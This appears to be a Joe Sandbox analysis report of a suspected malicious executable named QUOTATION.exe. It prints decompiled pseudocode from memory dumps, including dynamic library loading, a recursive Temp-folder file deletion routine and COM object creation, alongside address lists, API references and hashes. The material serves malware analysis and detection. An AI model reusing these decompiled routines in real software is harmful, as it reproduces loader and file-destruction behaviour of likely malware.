									if(_t308 == 0) {
										_push(4);
										L74:
										_pop(_t273);
										L75:
										__eflags = _v8 - 1;
										if(_v8 != 1) {
											_t96 = _t329 + 0x810;
											 *_t96 =  *(_t329 + 0x810) &  !_t273;
											__eflags =  *_t96;
										} else {
											 *(_t329 + 0x810) =  *(_t329 + 0x810) | _t273;
										}
										_v8 = 1;
										goto L57;
									}
									_t311 = _t308 - 1;
									__eflags = _t311;
									if(_t311 == 0) {
										_push(0x10);
										goto L74;
									}
									__eflags = _t311 != 0;
									if(_t311 != 0) {
										goto L57;
									}
									_push(0x40);
									goto L74;
								}
								if(__eflags == 0) {
									_push(8);
									goto L74;
								}
								_t314 = _t285 - 0x21;
								__eflags = _t314;
								if(_t314 == 0) {
									_v8 =  ~_v8;
									goto L57;
								}
								_t315 = _t314 - 0x11;
								__eflags = _t315;
								if(_t315 == 0) {
									_t273 = 0x100;
									goto L75;
								}
								_t316 = _t315 - 0x31;
								__eflags = _t316;
								if(_t316 == 0) {
									_t273 = 1;
									goto L75;
								}
								__eflags = _t316 != 0;
								if(_t316 != 0) {
									goto L57;
								}
								_push(0x20);
								goto L74;
							} else {
								_v32 = _t282;
								_v36 = _t282;
								goto L20;
							}
						}
						__eflags =  *((char*)(_t320 - 1)) - 0x3a;
						if( *((char*)(_t320 - 1)) != 0x3a) {
							goto L17;
						}
						__eflags = _v32 - _t282;
						if(_v32 == _t282) {
							goto L43;
						}
						goto L17;
					}
					_t276 = _t257 - 5;
					if(_t276 == 0) {
						__eflags = _v44 - _t282;
						if(_v44 != _t282) {
							goto L43;
						} else {
							__eflags = _v36 - 3;
							_v32 = 1;
							_v8 = _t282;
							_v20 = _t282;
							_v16 = (0 | _v36 == 0x00000003) + 1;
							_v40 = _t282;
							goto L20;
						}
					}
					_t280 = _t276 - 1;
					if(_t280 == 0) {
						__eflags = _v44 - _t282;
						if(_v44 != _t282) {
							goto L43;
						} else {
							_v32 = 2;
							_v8 = _t282;
							_v20 = _t282;
							goto L20;
						}
					}
					if(_t280 != 0x16) {
						goto L43;
					} else {
						_v32 = 3;
						_v8 = 1;
						goto L20;
					}
				}
				GlobalFree(_v56);
				GlobalFree(_v24);
				GlobalFree(_v48);
				if(_t329 == _t282 ||  *(_t329 + 0x80c) != _t282) {
					L182:
					return _t329;
				} else {
					_t224 =  *_t329 - 1;
					if(_t224 == 0) {
						_t187 = _t329 + 8; // 0x8
						_t323 = _t187;
						__eflags =  *_t323;
						if( *_t323 != 0) {
							_t225 = GetModuleHandleA(_t323);
							__eflags = _t225 - _t282;
							 *(_t329 + 0x808) = _t225;
							if(_t225 != _t282) {
								L171:
								_t192 = _t329 + 0x408; // 0x408
								_t324 = _t192;
								_t226 = E6F6015C2( *(_t329 + 0x808), _t324);
								__eflags = _t226 - _t282;
								 *(_t329 + 0x80c) = _t226;
								if(_t226 == _t282) {
									__eflags =  *_t324 - 0x23;
									if( *_t324 == 0x23) {
										_t195 = _t329 + 0x409; // 0x409
										_t230 = E6F6012FE(_t195);
										__eflags = _t230 - _t282;
										if(_t230 != _t282) {
											__eflags = _t230 & 0xffff0000;
											if((_t230 & 0xffff0000) == 0) {
												 *(_t329 + 0x80c) = GetProcAddress( *(_t329 + 0x808), _t230 & 0x0000ffff);
											}
										}
									}
								}
								__eflags = _v52 - _t282;
								if(_v52 != _t282) {
									L178:
									_t324[lstrlenA(_t324)] = 0x41;
									_t228 = E6F6015C2( *(_t329 + 0x808), _t324);
									__eflags = _t228 - _t282;
									if(_t228 != _t282) {
										L166:
										 *(_t329 + 0x80c) = _t228;
										goto L182;
									}
									__eflags =  *(_t329 + 0x80c) - _t282;
									L180:
									if(__eflags != 0) {
										goto L182;
									}
									L181:
									_t205 = _t329 + 4;
									 *_t205 =  *(_t329 + 4) | 0xffffffff;
									__eflags =  *_t205;
									goto L182;
								} else {
									__eflags =  *(_t329 + 0x80c) - _t282;
									if( *(_t329 + 0x80c) != _t282) {
										goto L182;
									}
									goto L178;
								}
							}
							_t233 = LoadLibraryA(_t323);
							__eflags = _t233 - _t282;
							 *(_t329 + 0x808) = _t233;
							if(_t233 == _t282) {
								goto L181;
							}
							goto L171;
						}
						_t188 = _t329 + 0x408; // 0x408
						_t235 = E6F6012FE(_t188);
						 *(_t329 + 0x80c) = _t235;
						__eflags = _t235 - _t282;
						goto L180;
					}
					_t236 = _t224 - 1;
					if(_t236 == 0) {
						_t185 = _t329 + 0x408; // 0x408
						_t237 = _t185;
						__eflags =  *_t237;
						if( *_t237 == 0) {
							goto L182;
						}
						_t228 = E6F6012FE(_t237);
						L165:
						goto L166;
					}
					if(_t236 != 1) {
						goto L182;
					}
					_t81 = _t329 + 8; // 0x8
					_t283 = _t81;
					_t325 = E6F6012FE(_t81);
					 *(_t329 + 0x808) = _t325;
					if(_t325 == 0) {
						goto L181;
					}
					 *(_t329 + 0x84c) =  *(_t329 + 0x84c) & 0x00000000;
					 *((intOrPtr*)(_t329 + 0x850)) = E6F601224(_t283);
					 *(_t329 + 0x83c) =  *(_t329 + 0x83c) & 0x00000000;
					 *((intOrPtr*)(_t329 + 0x848)) = 1;
					 *((intOrPtr*)(_t329 + 0x838)) = 1;
					_t90 = _t329 + 0x408; // 0x408
					_t228 =  *(_t325->i + E6F6012FE(_t90) * 4);
					goto L165;
				}
			}

0x6f601aa0
0x6f601aa3
0x6f601aa6
0x6f601aa9
0x6f601aac
0x6f601aaf
0x6f601ab2
0x6f601ab4
0x6f601ab7
0x6f601aba
0x6f601abf
0x6f601ac2
0x6f601aca
0x6f601ad2
0x6f601ad4
0x6f601ad7
0x6f601adf
0x6f601adf
0x6f601ae4
0x6f601ae7
0x00000000
0x00000000
0x6f601af1
0x6f601af3
0x6f601af8
0x6f601afa
0x6f601b8b
0x6f601b8b
0x6f601b8b
0x6f601b8f
0x6f601b92
0x6f601b94
0x6f601bb6
0x6f601bb9
0x6f601bbb
0x6f601bc4
0x6f601bca
0x6f601bcc
0x6f601bd2
0x6f601bd2
0x6f601bd8
0x6f601bdb
0x6f601bdb
0x6f601bde
0x6f601bde
0x6f601be4
0x6f601be6
0x6f601be9
0x6f601bef
0x6f601bf2
0x6f601bf2
0x6f601bf4
0x6f601bfa
0x6f601bfd
0x6f601c21
0x6f601c24
0x00000000
0x00000000
0x6f601c27
0x6f601c29
0x6f601c37
0x6f601c3a
0x6f601c3c
0x00000000
0x00000000
0x00000000
0x00000000
0x6f601c3e
0x6f601c3e
0x6f601c3e
0x6f601c44
0x6f601c46
0x00000000
0x00000000
0x6f601c48
0x6f601c4a
0x6f601c4c
0x6f601c4e
0x00000000
0x00000000
0x00000000
0x6f601c4e
0x6f601c50
0x6f601c52
0x6f601c54
0x6f601c54
0x6f601c5a
0x6f601c60
0x6f601c62
0x6f601c76
0x6f601c76
0x6f601c78
0x6f601c64
0x6f601c6a
0x6f601c6d
0x6f601c6d
0x00000000
0x6f601bff
0x6f601bff
0x6f601bff
0x6f601c00
0x6f601c08
0x6f601c0c
0x6f601c12
0x6f601c16
0x00000000
0x6f601c16
0x6f601c02
0x6f601c02
0x6f601c03
0x00000000
0x00000000
0x6f601c05
0x6f601c06
0x00000000
0x00000000
0x00000000
0x6f601c06
0x6f601b96
0x6f601b97
0x6f601ba0
0x6f601ba3
0x6f601bb0
0x6f601bb0
0x6f601ba5
0x6f601ba5
0x6f601c7e
0x6f601c81
0x6f601c84
0x6f601cf6
0x6f601cfa
0x6f601adc
0x00000000
0x6f601adc
0x00000000
0x6f601cfa
0x6f601b94
0x6f601b00
0x6f601b03
0x6f601b66
0x6f601b69
0x6f601b7a
0x6f601b7a
0x6f601b7d
0x6f601c89
0x6f601c8c
0x6f601c8c
0x6f601c8e
0x6f602033
0x6f602045
0x6f602045
0x6f602047
0x00000000
0x00000000
0x6f602037
0x6f602038
0x6f60203b
0x6f60203e
0x6f6020ba
0x6f6020c1
0x6f6020c6
0x6f6020c9
0x6f601cf2
0x6f601cf2
0x6f601cf2
0x6f601cf3
0x00000000
0x6f601cf3
0x6f602040
0x6f602042
0x6f602042
0x6f602049
0x6f60204b
0x6f6020ae
0x6f601ce7
0x6f601cea
0x6f601ced
0x6f601cf0
0x6f601cf0
0x00000000
0x6f601cf0
0x6f60204d
0x6f60204f
0x6f602055
0x6f602055
0x6f602057
0x6f60205a
0x6f60206d
0x6f60206d
0x6f602070
0x6f602073
0x00000000
0x00000000
0x6f602075
0x6f602078
0x00000000
0x00000000
0x6f60207a
0x6f602081
0x6f602081
0x6f602087
0x6f60208a
0x6f6020a6
0x6f60208c
0x6f602095
0x6f602098
0x6f602098
0x00000000
0x6f60208a
0x6f60205c
0x6f60205f
0x6f602062
0x00000000
0x00000000
0x6f602064
0x00000000
0x6f602064
0x6f602051
0x6f602053
0x00000000
0x00000000
0x00000000
0x6f602053
0x6f601c94
0x6f601c94
0x6f601c95
0x6f601dde
0x6f601dde
0x6f601de5
0x6f601de8
0x00000000
0x00000000
0x6f601df5
0x00000000
0x6f601fdb
0x6f601fde
0x6f601fe1
0x6f601fe1
0x6f601fe2
0x6f601fe5
0x6f601fe7
0x6f601fe9
0x00000000
0x00000000
0x6f601feb
0x6f601feb
0x6f601fee
0x6f602000
0x6f602003
0x6f602006
0x6f60200c
0x00000000
0x6f60200c
0x6f601ff0
0x6f601ff0
0x6f601ff2
0x00000000
0x00000000
0x6f601ff4
0x6f601ff6
0x6f601ff8
0x6f601ff8
0x6f601ff8
0x6f601ff9
0x6f601ffb
0x6f601ffd
0x6f601fe1
0x6f601fe2
0x6f601fe5
0x6f601fe7
0x6f601fe9
0x00000000
0x00000000
0x00000000
0x6f601fe9
0x00000000
0x6f601e3c
0x00000000
0x00000000
0x6f601e48
0x00000000
0x00000000
0x6f601e2f
0x6f601e33
0x6f601e37
0x00000000
0x00000000
0x6f601fad
0x6f601fb1
0x00000000
0x00000000
0x6f601fb7
0x6f601fbf
0x6f601fc6
0x6f601fce
0x00000000
0x00000000
0x6f601f15
0x6f601f15
0x00000000
0x00000000
0x6f601e51
0x00000000
0x00000000
0x6f60202b
0x00000000
0x00000000
0x6f601f1d
0x6f601f1f
0x6f601f1f
0x00000000
0x00000000
0x6f60201b
0x00000000
0x00000000
0x6f60201f
0x00000000
0x00000000
0x6f602027
0x00000000
0x00000000
0x6f601f64
0x6f601f66
0x6f601f66
0x00000000
0x00000000
0x6f601f2f
0x6f601f31
0x6f601f31
0x00000000
0x00000000
0x6f601f41
0x6f601f43
0x6f601f43
0x00000000
0x00000000
0x6f601f72
0x6f601f74
0x6f601f74
0x00000000
0x00000000
0x6f601f4c
0x6f601f4e
0x6f601f4e
0x00000000
0x00000000
0x6f601f53
0x00000000
0x00000000
0x6f602023
0x6f60202d
0x6f60202d
0x00000000
0x00000000
0x6f601f7d
0x6f601f81
0x6f601f86
0x6f601f89
0x6f601f8a
0x6f601f8d
0x6f601f93
0x6f601f93
0x00000000
0x00000000
0x6f602013
0x00000000
0x00000000
0x6f601f57
0x6f601f57
0x00000000
0x00000000
0x6f601e58
0x6f601e58
0x00000000
0x00000000
0x6f601f6b
0x6f601f6d
0x6f601f6d
0x00000000
0x00000000
0x6f601dfc
0x6f601e02
0x6f601e05
0x6f601e07
0x6f601e07
0x6f601e0a
0x6f601e0e
0x6f601e1b
0x6f601e1d
0x6f601e23
0x6f601e23
0x6f601e23
0x00000000
0x00000000
0x6f601f20
0x6f601f20
0x6f601f22
0x6f601f29
0x00000000
0x00000000
0x6f601f67
0x6f601f67
0x00000000
0x00000000
0x6f601f32
0x6f601f32
0x6f601f34
0x6f601f3b
0x00000000
0x00000000
0x6f601f44
0x6f601f44
0x6f601f46
0x00000000
0x00000000
0x6f601f75
0x6f601f75
0x00000000
0x00000000
0x6f601f4f
0x6f601f4f
0x00000000
0x00000000
0x6f601f9b
0x6f601f9f
0x6f601fa4
0x6f601fa7
0x00000000
0x00000000
0x6f601f59
0x6f601f59
0x6f601f5c
0x6f601f5e
0x00000000
0x00000000
0x6f601f6e
0x6f601f6e
0x6f601f77
0x6f601f77
0x6f601e5a
0x6f601e5a
0x6f601e5d
0x6f601e64
0x6f601e66
0x6f601e68
0x6f601e6f
0x6f601e72
0x6f601e77
0x6f601e79
0x6f601e7b
0x6f601e7f
0x6f601e85
0x6f601e8b
0x6f601e8b
0x6f601e8d
0x6f601e8d
0x6f601e8e
0x6f601e8e
0x6f601e92
0x6f601e98
0x6f601e9a
0x6f601e9e
0x6f601ea3
0x6f601ea3
0x6f601ea5
0x6f601ea5
0x6f601ea8
0x6f601eab
0x6f601eb4
0x6f601eb7
0x6f601eba
0x6f601eba
0x6f601ebc
0x6f601ebf
0x6f601ec5
0x6f601ecb
0x6f601ecb
0x6f601ecd
0x00000000
0x00000000
0x6f601ed3
0x6f601ed3
0x6f601ed7
0x6f601ede
0x6f601f02
0x6f601f02
0x6f601f06
0x6f601f08
0x6f601f0b
0x6f601f0b
0x6f601f0e
0x6f601f0e
0x00000000
0x6f601f06
0x6f601ee3
0x6f601ee6
0x6f601ee6
0x6f601eed
0x6f601eef
0x6f601ef2
0x6f601ef9
0x6f601efa
0x6f601f00
0x6f601f00
0x00000000
0x6f601f00
0x6f601ef4
0x6f601ef7
0x00000000
0x00000000
0x00000000
0x6f601ef7
0x6f601e87
0x6f601e89
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6f601df5
0x6f601c9b
0x6f601c9b
0x6f601c9c
0x6f601ddb
0x00000000
0x6f601ddb
0x6f601ca2
0x6f601ca3
0x00000000
0x00000000
0x6f601ca9
0x6f601cac
0x6f601da0
0x6f601da0
0x6f601da3
0x6f601db8
0x6f601dba
0x6f601dba
0x6f601dbb
0x6f601dbe
0x6f601dc1
0x6f601dcd
0x6f601dcd
0x6f601dcd
0x6f601dc3
0x6f601dc3
0x6f601dc3
0x6f601dd3
0x00000000
0x6f601dd3
0x6f601da5
0x6f601da5
0x6f601da6
0x6f601db4
0x00000000
0x6f601db4
0x6f601da9
0x6f601daa
0x00000000
0x00000000
0x6f601db0
0x00000000
0x6f601db0
0x6f601cb2
0x6f601d9c
0x00000000
0x6f601d9c
0x6f601cb8
0x6f601cb8
0x6f601cbb
0x6f601ce4
0x00000000
0x6f601ce4
0x6f601cbd
0x6f601cbd
0x6f601cc0
0x6f601cda
0x00000000
0x6f601cda
0x6f601cc2
0x6f601cc2
0x6f601cc5
0x6f601cd4
0x00000000
0x6f601cd4
0x6f601cc8
0x6f601cc9
0x00000000
0x00000000
0x6f601ccb
0x00000000
0x6f601b83
0x6f601b83
0x6f601b86
0x00000000
0x6f601b86
0x6f601b7d
0x6f601b6b
0x6f601b6f
0x00000000
0x00000000
0x6f601b71
0x6f601b74
0x00000000
0x00000000
0x00000000
0x6f601b74
0x6f601b05
0x6f601b08
0x6f601b3e
0x6f601b41
0x00000000
0x6f601b47
0x6f601b49
0x6f601b4d
0x6f601b54
0x6f601b5b
0x6f601b5e
0x6f601b61
0x00000000
0x6f601b61
0x6f601b41
0x6f601b0a
0x6f601b0b
0x6f601b26
0x6f601b29
0x00000000
0x6f601b2f
0x6f601b2f
0x6f601b36
0x6f601b39
0x00000000
0x6f601b39
0x6f601b29
0x6f601b10
0x00000000
0x6f601b16
0x6f601b16
0x6f601b1d
0x00000000
0x6f601b1d
0x6f601b10
0x6f601d09
0x6f601d0e
0x6f601d13
0x6f601d17
0x6f6021c6
0x6f6021cc
0x6f601d29
0x6f601d2b
0x6f601d2c
0x6f6020f1
0x6f6020f1
0x6f6020f4
0x6f6020f7
0x6f602114
0x6f60211a
0x6f60211c
0x6f602122
0x6f602139
0x6f602139
0x6f602139
0x6f602146
0x6f60214c
0x6f60214f
0x6f602155
0x6f602157
0x6f60215a
0x6f60215c
0x6f602163
0x6f602168
0x6f60216b
0x6f60216d
0x6f602172
0x6f602184
0x6f602184
0x6f602172
0x6f60216b
0x6f60215a
0x6f60218a
0x6f60218d
0x6f602197
0x6f60219f
0x6f6021ab
0x6f6021b1
0x6f6021b4
0x6f6020e6
0x6f6020e6
0x00000000
0x6f6020e6
0x6f6021ba
0x6f6021c0
0x6f6021c0
0x00000000
0x00000000
0x6f6021c2
0x6f6021c2
0x6f6021c2
0x6f6021c2
0x00000000
0x6f60218f
0x6f60218f
0x6f602195
0x00000000
0x00000000
0x00000000
0x6f602195
0x6f60218d
0x6f602125
0x6f60212b
0x6f60212d
0x6f602133
0x00000000
0x00000000
0x00000000
0x6f602133
0x6f6020f9
0x6f602100
0x6f602106
0x6f60210c
0x00000000
0x6f60210c
0x6f601d32
0x6f601d33
0x6f6020d0
0x6f6020d0
0x6f6020d6
0x6f6020d9
0x00000000
0x00000000
0x6f6020e0
0x6f6020e5
0x00000000
0x6f6020e5
0x6f601d3a
0x00000000
0x00000000
0x6f601d40
0x6f601d40
0x6f601d49
0x6f601d4e
0x6f601d54
0x00000000
0x00000000
0x6f601d5a
0x6f601d67
0x6f601d6d
0x6f601d77
0x6f601d7d
0x6f601d85
0x6f601d95
0x00000000
0x6f601d95

APIs

Part of subcall function 6F601215: GlobalAlloc.KERNELBASE(00000040,6F601233,?,6F6012CF,-6F60404B,6F6011AB,-000000A0), ref: 6F60121D

GlobalAlloc.KERNELBASE(00000040,000014A4), ref: 6F601BC4
lstrcpyA.KERNEL32(00000008,?), ref: 6F601C0C
lstrcpyA.KERNEL32(00000408,?), ref: 6F601C16
GlobalFree.KERNEL32(00000000), ref: 6F601C29
GlobalFree.KERNEL32(?), ref: 6F601D09
GlobalFree.KERNEL32(?), ref: 6F601D0E
GlobalFree.KERNEL32(?), ref: 6F601D13
GlobalFree.KERNEL32(00000000), ref: 6F601EFA
lstrcpyA.KERNEL32(?,?), ref: 6F602098
GetModuleHandleA.KERNEL32(00000008), ref: 6F602114
LoadLibraryA.KERNEL32(00000008), ref: 6F602125
GetProcAddress.KERNEL32(?,?), ref: 6F60217E
lstrlenA.KERNEL32(00000408), ref: 6F602198

Memory Dump Source

Source File: 00000002.00000002.3716779117.000000006F601000.00000020.00000001.01000000.00000005.sdmp, Offset: 6F600000, based on PE: true

Associated: 00000002.00000002.3716683348.000000006F600000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3716864165.000000006F603000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3716944501.000000006F605000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6f600000_QUOTATION.jbxd

Similarity

API ID: Global$Free$lstrcpy$Alloc$AddressHandleLibraryLoadModuleProclstrlen
String ID:
API String ID: 245916457-0
Opcode ID: a5d27e37946bffbf71a6dd581d0841d45e86e50ae179e859e25973c0b80ed9f4
Instruction ID: 7629ebe37db1ce7ca063b240f3daf054abce4bb1a7d55cd225fde71352d07407
Opcode Fuzzy Hash: a5d27e37946bffbf71a6dd581d0841d45e86e50ae179e859e25973c0b80ed9f4
Instruction Fuzzy Hash: 8F229E7194420ADFDB18AFB887807EDBBF4BF06319F30466ED166A7180DB74A681CB54

Uniqueness

Uniqueness Score: -1.00%

Function 004057A2 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 159
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 98%

			E004057A2(void* __eflags, signed int _a4, signed int _a8) {
				signed int _v8;
				void* _v12;
				signed int _v16;
				struct _WIN32_FIND_DATAA _v336;
				signed int _t40;
				char* _t53;
				signed int _t55;
				signed int _t58;
				signed int _t64;
				signed int _t66;
				void* _t68;
				signed char _t69;
				CHAR* _t71;
				void* _t72;
				CHAR* _t73;
				char* _t76;

				_t69 = _a8;
				_t73 = _a4;
				_v8 = _t69 & 0x00000004;
				_t40 = E00405A60(__eflags, _t73);
				_v16 = _t40;
				if((_t69 & 0x00000008) != 0) {
					_t66 = DeleteFileA(_t73); // executed
					asm("sbb eax, eax");
					_t68 =  ~_t66 + 1;
					 *0x4237a8 =  *0x4237a8 + _t68;
					return _t68;
				}
				_a4 = _t69;
				_t8 =  &_a4;
				 *_t8 = _a4 & 0x00000001;
				__eflags =  *_t8;
				if( *_t8 == 0) {
					L5:
					E00405FDA(0x420d10, _t73);
					__eflags = _a4;
					if(_a4 == 0) {
						E004059B9(_t73);
					} else {
						lstrcatA(0x420d10, "\*.*");
					}
					__eflags =  *_t73;
					if( *_t73 != 0) {
						L10:
						lstrcatA(_t73, 0x409014);
						L11:
						_t71 =  &(_t73[lstrlenA(_t73)]);
						_t40 = FindFirstFileA(0x420d10,  &_v336);
						__eflags = _t40 - 0xffffffff;
						_v12 = _t40;
						if(_t40 == 0xffffffff) {
							L29:
							__eflags = _a4;
							if(_a4 != 0) {
								_t32 = _t71 - 1;
								 *_t32 =  *(_t71 - 1) & 0x00000000;
								__eflags =  *_t32;
							}
							goto L31;
						} else {
							goto L12;
						}
						do {
							L12:
							_t76 =  &(_v336.cFileName);
							_t53 = E0040599D( &(_v336.cFileName), 0x3f);
							__eflags =  *_t53;
							if( *_t53 != 0) {
								__eflags = _v336.cAlternateFileName;
								if(_v336.cAlternateFileName != 0) {
									_t76 =  &(_v336.cAlternateFileName);
								}
							}
							__eflags =  *_t76 - 0x2e;
							if( *_t76 != 0x2e) {
								L19:
								E00405FDA(_t71, _t76);
								__eflags = _v336.dwFileAttributes & 0x00000010;
								if(__eflags == 0) {
									_t55 = E0040575A(__eflags, _t73, _v8);
									__eflags = _t55;
									if(_t55 != 0) {
										E00405101(0xfffffff2, _t73);
									} else {
										__eflags = _v8 - _t55;
										if(_v8 == _t55) {
											 *0x4237a8 =  *0x4237a8 + 1;
										} else {
											E00405101(0xfffffff1, _t73);
											E00405DB9(_t72, _t73, 0);
										}
									}
								} else {
									__eflags = (_a8 & 0x00000003) - 3;
									if(__eflags == 0) {
										E004057A2(__eflags, _t73, _a8);
									}
								}
								goto L27;
							}
							_t64 =  *((intOrPtr*)(_t76 + 1));
							__eflags = _t64;
							if(_t64 == 0) {
								goto L27;
							}
							__eflags = _t64 - 0x2e;
							if(_t64 != 0x2e) {
								goto L19;
							}
							__eflags =  *((char*)(_t76 + 2));
							if( *((char*)(_t76 + 2)) == 0) {
								goto L27;
							}
							goto L19;
							L27:
							_t58 = FindNextFileA(_v12,  &_v336);
							__eflags = _t58;
						} while (_t58 != 0);
						_t40 = FindClose(_v12);
						goto L29;
					}
					__eflags =  *0x420d10 - 0x5c;
					if( *0x420d10 != 0x5c) {
						goto L11;
					}
					goto L10;
				} else {
					__eflags = _t40;
					if(_t40 == 0) {
						L31:
						__eflags = _a4;
						if(_a4 == 0) {
							L39:
							return _t40;
						}
						__eflags = _v16;
						if(_v16 != 0) {
							_t40 = E004062DD(_t73);
							__eflags = _t40;
							if(_t40 == 0) {
								goto L39;
							}
							E00405972(_t73);
							_t40 = E0040575A(__eflags, _t73, _v8 | 0x00000001);
							__eflags = _t40;
							if(_t40 != 0) {
								return E00405101(0xffffffe5, _t73);
							}
							__eflags = _v8;
							if(_v8 == 0) {
								goto L33;
							}
							E00405101(0xfffffff1, _t73);
							return E00405DB9(_t72, _t73, 0);
						}
						L33:
						 *0x4237a8 =  *0x4237a8 + 1;
						return _t40;
					}
					__eflags = _t69 & 0x00000002;
					if((_t69 & 0x00000002) == 0) {
						goto L31;
					}
					goto L5;
				}
			}

0x004057ac
0x004057b1
0x004057ba
0x004057bd
0x004057c5
0x004057c8
0x004057cb
0x004057d3
0x004057d5
0x004057d6
0x00000000
0x004057d6
0x004057e1
0x004057e4
0x004057e4
0x004057e4
0x004057e8
0x004057fb
0x00405802
0x00405807
0x0040580b
0x0040581b
0x0040580d
0x00405813
0x00405813
0x00405820
0x00405823
0x0040582e
0x00405834
0x00405839
0x00405849
0x0040584b
0x00405851
0x00405854
0x00405857
0x0040590f
0x0040590f
0x00405913
0x00405915
0x00405915
0x00405915
0x00405915
0x00000000
0x00000000
0x00000000
0x00000000
0x0040585d
0x0040585d
0x00405866
0x0040586c
0x00405871
0x00405874
0x00405876
0x0040587a
0x0040587c
0x0040587c
0x0040587a
0x0040587f
0x00405882
0x00405895
0x00405897
0x0040589c
0x004058a3
0x004058be
0x004058c3
0x004058c5
0x004058e9
0x004058c7
0x004058c7
0x004058ca
0x004058de
0x004058cc
0x004058cf
0x004058d7
0x004058d7
0x004058ca
0x004058a5
0x004058ab
0x004058ad
0x004058b3
0x004058b3
0x004058ad
0x00000000
0x004058a3
0x00405884
0x00405887
0x00405889
0x00000000
0x00000000
0x0040588b
0x0040588d
0x00000000
0x00000000
0x0040588f
0x00405893
0x00000000
0x00000000
0x00000000
0x004058ee
0x004058f8
0x004058fe
0x004058fe
0x00405909
0x00000000
0x00405909
0x00405825
0x0040582c
0x00000000
0x00000000
0x00000000
0x004057ea
0x004057ea
0x004057ec
0x00405919
0x0040591b
0x0040591e
0x0040596f
0x0040596f
0x0040596f
0x00405920
0x00405923
0x0040592e
0x00405933
0x00405935
0x00000000
0x00000000
0x00405938
0x00405944
0x00405949
0x0040594b
0x00000000
0x00405966
0x0040594d
0x00405950
0x00000000
0x00000000
0x00405955
0x00000000
0x0040595c
0x00405925
0x00405925
0x00000000
0x00405925
0x004057f2
0x004057f5
0x00000000
0x00000000
0x00000000
0x004057f5

APIs

DeleteFileA.KERNELBASE(?,?,76B43410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 004057CB
lstrcatA.KERNEL32(00420D10,\*.*,00420D10,?,?,76B43410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405813
lstrcatA.KERNEL32(?,00409014,?,00420D10,?,?,76B43410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405834
lstrlenA.KERNEL32(?,?,00409014,?,00420D10,?,?,76B43410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 0040583A
FindFirstFileA.KERNEL32(00420D10,?,?,?,00409014,?,00420D10,?,?,76B43410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 0040584B
FindNextFileA.KERNEL32(00000000,00000010,000000F2,?,?,?,00000000,?,?,0000003F), ref: 004058F8
FindClose.KERNEL32(00000000), ref: 00405909

Strings

\*.*, xrefs: 0040580D
"C:\Users\user\Desktop\QUOTATION.exe", xrefs: 004057A2
C:\Users\user\AppData\Local\Temp\, xrefs: 004057AF

Memory Dump Source

Source File: 00000002.00000002.3670977684.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3670951494.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671039048.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000433000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671365540.0000000000436000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_QUOTATION.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: "C:\Users\user\Desktop\QUOTATION.exe"$C:\Users\user\AppData\Local\Temp\$\*.*
API String ID: 2035342205-2908997620
Opcode ID: 9534ed492e479d78e2508825cc8aff22a23d0aad2da830bd7208bf437f0dd8c3
Instruction ID: d5f8e1a5a2f38c4268bcbec4acbb3c578bb2518a62eabdffbc14051f19ad4651
Opcode Fuzzy Hash: 9534ed492e479d78e2508825cc8aff22a23d0aad2da830bd7208bf437f0dd8c3
Instruction Fuzzy Hash: F251E171900A18BADB21BB228C45BAF7A79DF42724F14807BF841B51D2D77C8942DEAD

Uniqueness

Uniqueness Score: -1.00%

Function 00402138 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 139
comCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E00402138() {
				signed int _t55;
				void* _t59;
				intOrPtr* _t63;
				intOrPtr _t64;
				intOrPtr* _t65;
				intOrPtr* _t67;
				intOrPtr* _t69;
				intOrPtr* _t71;
				intOrPtr* _t73;
				intOrPtr* _t75;
				intOrPtr* _t78;
				intOrPtr* _t80;
				intOrPtr* _t82;
				intOrPtr* _t84;
				int _t87;
				intOrPtr* _t95;
				signed int _t105;
				signed int _t109;
				void* _t111;

				 *(_t111 - 0x10) = E00402B2C(0xfffffff0);
				 *(_t111 - 0xc) = E00402B2C(0xffffffdf);
				 *((intOrPtr*)(_t111 - 0x44)) = E00402B2C(2);
				 *((intOrPtr*)(_t111 - 0x40)) = E00402B2C(0xffffffcd);
				 *((intOrPtr*)(_t111 - 0x4c)) = E00402B2C(0x45);
				_t55 =  *(_t111 - 0x24);
				 *(_t111 - 0x88) = _t55 & 0x00000fff;
				_t105 = _t55 & 0x00008000;
				_t109 = _t55 >> 0x0000000c & 0x00000007;
				 *(_t111 - 0x3c) = _t55 >> 0x00000010 & 0x0000ffff;
				if(E004059DF( *(_t111 - 0xc)) == 0) {
					E00402B2C(0x21);
				}
				_t59 = _t111 + 8;
				__imp__CoCreateInstance(0x407410, _t87, 1, 0x407400, _t59); // executed
				if(_t59 < _t87) {
					L15:
					 *((intOrPtr*)(_t111 - 4)) = 1;
					_push(0xfffffff0);
				} else {
					_t63 =  *((intOrPtr*)(_t111 + 8));
					_t64 =  *((intOrPtr*)( *_t63))(_t63, 0x407420, _t111 - 0x1c);
